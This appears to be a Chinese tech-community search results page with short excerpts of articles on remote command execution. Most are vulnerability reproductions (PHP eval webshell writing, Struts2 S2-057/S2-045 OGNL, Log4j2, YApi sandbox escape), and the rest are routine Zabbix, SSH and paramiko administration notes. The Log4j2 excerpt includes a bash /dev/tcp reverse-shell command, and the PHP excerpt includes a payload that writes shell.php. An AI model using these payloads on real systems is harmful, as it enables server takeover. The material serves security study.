首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏渗透测试专栏

    渗透测试命令执行漏洞原理与验证(2)——远程命令执行

    远程命令执行漏洞相关函数eval()assert()preg_replace()call_user_func()$a($b)如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞 arg=phpinfo(); 漏洞产生实例2assert()实例1preg_replace()pattern : 要搜索的模式,可以是一个字符串或字符串数组。 当pattern处存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行。实例call_user_func()实例$a($b)远程命令执行漏洞的利用? a=var_dump(file_put_contents($_POST[1],$_POST[2]));,1=shell.php&2=<?php phpinfo()? a=var_dump(file_put_contents($_POST1,$_POST2));,1=shell.php&2=<?php phpinfo()?

    39120编辑于 2024-11-14
  • 来自专栏LuckySec网络安全

    S2-057 远程命令执行复现

    0x01 漏洞简介 Apache wiki更新了一个Struts2远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。 同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。 uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。 可见 233*233 的结果已返回在url中 使用S2-057原理分析与复现过程(POC)中给出的执行任意命令的OGNL表达式: # 表达式命令格式 ${ (#dm=@ognl.OgnlContext

    61180编辑于 2022-11-02
  • 来自专栏文章部

    TCP远程命令执行

    此篇教大家如何利用TCP进行远程命令执行。 一. 命令集 将值得信任的命令放进一个txt文件中,执行命令时,就去这个文件里面找,有就执行命令,没有就不执行命令执行模块实现 依然封装成类,将上述命令集写进类中。 命令将被传到 bin/sh 并使用 -c 标志,shell 将执行这个命令,比如sh -c ls type: 只能是读或者写中的一种,得到的返回值(标准 I/O 流)也具有和 type 相应的只读或只写类型 并创建出执行命令类对象。 效果展示 可以看见只要在命令集中的命令都能执行。 总结: 好了,到这里今天的知识就讲完了,大家有错误一点要在评论指出,我怕我一人搁这瞎bb,没人告诉我错误就寄了。

    39310编辑于 2024-09-07
  • 来自专栏frytea

    Python执行远程执行shell命令

    ("ls") # 执行ls命令 # os 使用方法 # 使用system模块执行linux命令时,如果执行命令没有返回值res的值是256 # 如果执行命令有返回值且成功执行,返回值是0 res = os.system("ls") # popen模块执行linux命令。 返回值是类文件对象,获取结果要采用read()或者readlines() val = os.popen('ls').read() # 执行结果包含在val中 方案二:脚本远程执行命令 在 Python _ssh_fd.close() 方案三:使用SecureCRT脚本 该方法参见此前的博文:SecureCRT 下 Python 脚本编写 参考文献 Python学习总结 06 paramiko 远程执行命令 linux命令(调用linux命令):https://blog.csdn.net/shanliangliuxing/article/details/8811701 (转)python中执行linux命令

    7.9K20发布于 2020-10-28
  • 来自专栏Laoqi's Linux运维专列

    Zabbix远程执行命令

    Zabbix远程执行命令可以做些什么: 1)重启应用(apache/nginx/mysql)。 2)自定义执行脚本。 3)使用IPMI接口重启服务器。 Zabbix远程执行命令注意事项: 1)远程执行命令是server端向agent端执行,不支持主动模式的agent; 2)不支持代理模式; 3)zabbix用户必须对命令具有执行权限,可以使用sudo赋予 log”中查看远程命令是否执行成功(成功为” Executed”)。 配置zabbix远程执行命令 创建一个报警,记得使用邮件报警吗?实际上,我们把发送邮件的操作改成执行远程命令就行了。 Zabbix agent不支持远程命令远程命令最大长度为255字符,同时支持多个远程命令,如需要执行多条命令,只需要另起一行写命令即可,但最好自定在agent端定义一个脚本,直接让zabbix执行脚本即可

    3K80发布于 2018-05-09
  • 来自专栏python3

    python远程执行命令

    22     username = 'root'     password = '123456'     execmd1 = "/root/tomcat/bin/stop.sh"     execmd2  , port, username, password, execmd1)     sshclient_execmd(hostname, port, username, password, execmd2)

    2K30发布于 2020-01-14
  • 来自专栏开源部署

    Zabbix报警执行远程命令

    日常Zabbix报警案例中,大多都是报警发送邮件,场景里很少有需要报警后执行一个命令(启动服务、清空磁盘空间、关停服务器);而今天就给大家讲讲最近需要做的事:报警后执行远程命令 首先讲讲需求吧,  遥远的一天 刚好zabbix动作中有个远程命令功能,那么就通过它来解决问题。。 Hosts > Items 2.配置mongodb triggers Configuration -> Hosts > Triggers 3.配置远程命令的actions Configuraction -> Actions 条件选择触发器值为PROBLEM、触发器为上面的mongodb触发器 执行次数为5次,每次间隔60秒 操作类型为:远程命令 类型为:自定义脚本 命令:具体的指令。 至此整个过程都配完了,,但是现在mongodb挂了,actions会执行启动mongodb命令么。?  肯定不会。 远程命令前提条件,需要在配置文件开启远程命令参数,并启动agentd。

    67120编辑于 2022-07-01
  • 来自专栏网络安全615

    漏洞复现 - - -Struts2(s2-045)远程命令执行漏洞

    一,Struts2是什么 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互 虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。 二,s2-045漏洞形成分析 CVE编号:CVE- 2017- 5638 POST请求发送数据 功能:获取WEB路径,任意命令执行,反弹shell和文件上传  首先,我们先对比一下修复前与修复后的版本 getDefaultMessage函数,在这个函数里面调用了TextParseUtil.translateVariables在TextParseUtil.translateVariables方法中存在安全漏洞,可使远程攻击者通过构造的 OGNL表达式,执行任意代码 在TextParseUtil.java中找到return parser 发现在这调用了ognl的方法,这就是漏洞形成的原因  三,s2-045漏洞复现 Struts2漏洞利用扫描工具及其环境

    2.9K20编辑于 2022-11-19
  • 来自专栏开源技术小栈

    如何使用PHP SSH2模块执行远程Linux命令

    PHP SSH2扩展是用于在PHP程序中使用SSH(安全壳协议)的一种扩展。它允许建立加密连接和执行远程命令、上传和下载文件等操作,十分方便实用。 它提供了一组API函数,使开发者可以在自己的应用中实现SSH客户端的功能,如远程执行命令、文件传输和端口转发等。 连接成功后,您可以执行各种远程操作。 远程执行命令 该扩展最常见的用途之一是在远程服务器上执行命令。 输出打印为远程命令执行结果。上传和下载文件 该扩展还允许您在服务器和本地计算机之间上传和下载文件。在本例中,我们将使用ssh2_scp_send()和ssh2_scp_recv()函数。

    1.3K10编辑于 2024-01-29
  • 来自专栏蓝天

    远程执行命令的C++实现CLibssh2

    CLibssh2可以帮助实现相当于Linux的ssh命令的功能。 CLibssh2基于libssh2库(http://www.libssh2.org)实现,不过libssh2的使用较为复杂,而CLibssh2通过封装提供了简单的接口,即可以代码中实现远程执行命令。 /mooon/blob/master/common_library/test/net/ut_libssh2.cpp // 为非线程安全类 // // 提供执行远程命令的能力,类似于ssh 命令 // 可配合utils::CLoginTokener一起使用:#include <mooon/utils/tokener.h> // // 使用示例(执行远程命令): // command 被远程执行命令,如:whoami // out 接收命令输出的流 // exitcode 远程命令执行结束后的退出代码,如:0 // exitsignal 远程命令执行时接收到的信号

    2.5K20发布于 2018-08-10
  • 来自专栏LuckySec网络安全

    Apache log4j2 远程命令执行漏洞复现

    ,如果命令有特殊字符,支持对命令进行 Base64编码后传输 ReverseShell: 用于 Linux 系统的反弹shell,方便使用 TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显 ,通过添加自定义header cmd: whoami 的方式传递想要执行命令 SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行命令 WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行命令 个动作: list:基于XXE查看目标服务器上的目录或文件内容 upload:基于XXE的jar协议将恶意jar包上传至目标服务器的临时目录 rce:加载已上传至目标服务器临时目录的jar包,从而达到远程代码执行的效果 中需要双重url编码,否则“+”号会被当成空格解析掉,导致命令执行不成功) 原始命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1 Base64编码:YmFzaCAtaSA

    5.7K80编辑于 2022-11-02
  • 来自专栏开源部署

    SSH 远程执行命令简介

    ssh执行远程操作 命令格式 ssh -p $port $user@$p 'cmd' $port : ssh连接端口号 $user: ssh连接用户名 $ip:ssh连接的ip地址 cmd:远程服务器需要执行的操作 准备工作 基于公私钥认证或者用户名密码认证能确保登录到远程local2服务器(有点基本运维知识的人做这个事情都不是问题) cmd如果是脚本,注意绝对路径问题(相对路径在远程执行时就是坑) 不足 这个命令可以满足我们大多数的需求 ,但是通常运维部署很多东西的时候需要root权限,但是有几处限制: 远程服务器local2禁止root用户登录 在远程服务器脚本里转换身份用expect需要send密码,这样不够安全 执行远程服务器需要 中文翻译一下:就是可以提供一个远程服务器的虚拟tty终端,加上这个参数我们就可以在远程服务器的虚拟终端上输入自己的提权密码了,非常安全 命令格式 ssh -t -p $port $user@$ip  ' ip_array=("192.168.1.1" "192.168.1.2" "192.168.1.3") user="test1" remote_cmd="/home/test/1.sh" #本地通过ssh执行远程服务器的脚本

    2.2K10编辑于 2022-07-03
  • 19.4 Boost Asio 远程命令执行

    命令执行机制的实现与原生套接字通信一致,仅仅只是在调用时采用了Boost通用接口,在服务端中我们通过封装实现一个run_command函数,该函数用于发送一个字符串命令,并循环等待接收客户端返回的字符串 服务端代码如下所示,我们通过调用run_command函数执行dir C:\\Users\\命令,获取到对端主机目录下的文件列表。 #include <iostream>#include <string>#include <boost/asio.hpp>using namespace boost::asio;// 让客户端执行特定命令 ,自动执行远程命令,并将返回结果传输给服务端,如下所示;#include <iostream>#include <string>#include <boost/asio.hpp>using namespace boost::asio;// 实现命令执行,并发送到服务端bool exec_command(ip::tcp::socket *socket){ char command[1024] = { 0 }

    46030编辑于 2023-11-02
  • 来自专栏orientlu

    linux 远程登录执行命令

    @(Linux 命令脚本) 方便自动化运维部署,在多台机器上自动执行命令。 ssh 需要输入密码, 所以使用 expect 进行交互,从执行文本读取远程主机 IP, 登录名和密码后执行远程登录,执行命令。 脚本 remote_cmd.sh #! ' host.list while read LINE do eval $(echo $LINE | awk '{printf("IP=%s USER=%s PASSWD=%s",$1, $2, END done < host.list 主机列表 host.list 192.168.67.236 lcd jklfds 192.168.67.236 lcd jklfds ---- 通过 ssh 远程登录执行命令 ,启动远程终端, 通过参数 -t 实现 : ssh -t -p 36000 -l lcd 192.168.67.236 "mkdir -p ~/work/lcd" ---- expect 需要安装 :

    7K30发布于 2018-09-13
  • 来自专栏Seebug漏洞平台

    yapi 远程命令执行漏洞分析

    攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。 设置命令为反弹 shell 到远程服务器。 ? POC如下: ? 随后添加接口,访问提供的 mock 地址。 ? 随后即可在远程服务器上收到来自命令执行反弹的 shell。 ? Do not use it to run untrusted code. vm 模块并不是一个完全安全的动态脚本执行模块。先来看看 vm 有哪些执行命令的函数。 ? 函数执行结束后会调用 context.mockJson = sandbox.mockJson 并将 mockJson 作为 req.body 返回用户,于是就可以在页面中看到命令执行的反馈。 0x05 相关链接 1、高级Mock可以获取到系统操作权限 https://github.com/YMFE/yapi/issues/2099 2、Node.js命令执行和沙箱安全 https://mp.weixin.qq.com

    1.9K30发布于 2021-07-19
  • 来自专栏运维小白

    20.34 批量远程执行命令

    批量远程执行命令 exe.expect 内容 #!

    1.6K20编辑于 2022-01-06
  • 19.4 Boost Asio 远程命令执行

    命令执行机制的实现与原生套接字通信一致,仅仅只是在调用时采用了Boost通用接口,在服务端中我们通过封装实现一个run_command函数,该函数用于发送一个字符串命令,并循环等待接收客户端返回的字符串 服务端代码如下所示,我们通过调用run_command函数执行dir C:\\Users\\命令,获取到对端主机目录下的文件列表。 include <iostream> #include <string> #include <boost/asio.hpp> using namespace boost::asio; // 让客户端执行特定命令 ,自动执行远程命令,并将返回结果传输给服务端,如下所示; #include <iostream> #include <string> #include <boost/asio.hpp> using namespace boost::asio; // 实现命令执行,并发送到服务端 bool exec_command(ip::tcp::socket *socket) { char command[1024] =

    38760编辑于 2023-11-03
  • 来自专栏蓝天

    批量远程执行shell命令工具

    " // 提供远程执行命令接口 #include "mooon/sys/error.h" #include "mooon/sys/stop_watch.h" #include "mooon/utils/ print_color.h" #include "mooon/utils/string_utils.h" #include "mooon/utils/tokener.h" #include <iostream> // 被执行命令 ,可为一条或多条命令,如:ls /&&whoami STRING_ARG_DEFINE(c, "", "command to execute remotely"); // 逗号分隔的远程主机列表 STRING_ARG_DEFINE 65535, "timeout seconds to remote host"); // 结果信息 struct ResultInfo { bool success; // 为true表示执行成功 libssh2(remote_host_ip, port, user, password, mooon::argument::t->value()); libssh2.remotely_execute

    1.6K20发布于 2018-08-02
  • 来自专栏python3

    Saltstack远程执行命令(3)

        Saltstack的一个比较突出的优势是具备执行远程命令的功能,可以帮助运维人员完成集中化的操作平台(批量执行服务器命令) 命令格式:salt '<操作目标>' <方法>[参数] 实例:查看minion 示例:检测id是SN2013字符开头的主机是否连通 salt -E '^SN2013.*' test.ping (2)-L, --list 以主机名列表的形式进行选择 示例:获取主机id名为SN2013 【etc/salt/master】  nodegroups:     web1group: 'L@SN2012-07-010,SN2012-07-011,SN2012-07-012'     web2group : 'L@SN2013-08-021,SN2013-08-022' 其中,L@表示后面的主机id格式为列表,以逗号分隔;G@表示以grain而是描述;S@表示以IP子网或地址格式描述 示例:web2group 主机的IP或者IP子网进行匹配 示例:根据IP及子网进行匹配 salt -S 192.168.0.0/16 test.ping salt -S 192.168.1.10 test.ping 批量修改远程

    1.9K20发布于 2020-01-07
  • 来自专栏糖果的实验室

    Apache Solr远程命令执行复现

    蹭个热度,复现一波:Apache Solr远程命令执行漏洞。 通过 docker exec -it 容器ID /bin/bash 进入容器后执行:./solr create -c solr_sample 创建集合如下: ? 修改完配置以后通过poc即可执行任意命令如图: ? ", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } //远程代码执行

    1.5K10发布于 2019-11-20
领券